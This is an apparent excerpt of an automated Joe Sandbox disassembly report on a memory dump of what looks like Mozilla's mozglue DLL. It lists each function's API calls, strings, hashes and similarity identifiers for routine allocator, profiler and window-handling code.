Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

FillRect, xrefs: 6C9B5729
MonitorFromWindow, xrefs: 6C9B578D
ReleaseDC, xrefs: 6C9B5742
GetDpiForWindow, xrefs: 6C9B5690
GetWindowDC, xrefs: 6C9B5710
gdi32, xrefs: 6C9B560A
SetWindowPos, xrefs: 6C9B56F7
GetThreadDpiAwarenessContext, xrefs: 6C9B562D
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
DeleteObject, xrefs: 6C9B57F9
GetSystemMetricsForDpi, xrefs: 6C9B5677
CreateWindowExW, xrefs: 6C9B56C5
LoadIconW, xrefs: 6C9B575B
GetMonitorInfoW, xrefs: 6C9B57A2
ShowWindow, xrefs: 6C9B56DE
LoadCursorW, xrefs: 6C9B5774
RegisterClassW, xrefs: 6C9B56AC
user32, xrefs: 6C9B5601
StretchDIBits, xrefs: 6C9B57CC
SetWindowLongPtrW, xrefs: 6C9B57B7
CreateSolidBrush, xrefs: 6C9B57E4
EnableNonClientDpiScaling, xrefs: 6C9B5666

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

user32.dll, xrefs: 6C966526
_etoured.dll, xrefs: 6C9664ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
detoured.dll, xrefs: 6C9664DA
nvd3d9wrap.dll, xrefs: 6C966500
nvdxgiwrap.dll, xrefs: 6C966513

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

MALLOC_OPTIONS, xrefs: 6C986888
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
MOZ_CRASH(), xrefs: 6C986AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
<jemalloc>, xrefs: 6C986AA9, 6C986B59

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4
<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvd3d9wrap.dll, xrefs: 6C994466
nvinit.dll, xrefs: 6C994479

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_CRASH(), xrefs: 6C970CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C9A606D
data, xrefs: 6C9A6131
expected a Time entry, xrefs: 6C9A5CB6
name, xrefs: 6C9A5E79, 6C9A5E8F
ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
expected a Count entry, xrefs: 6C9A5AC3

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D
get , xrefs: 6C9A3205
set , xrefs: 6C9A36EC

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C9981E3, 6C998311
(pre-xul), xrefs: 6C997E88
data, xrefs: 6C998280, 6C9983E1
name, xrefs: 6C997ECF, 6C998335

Memory Dump Source

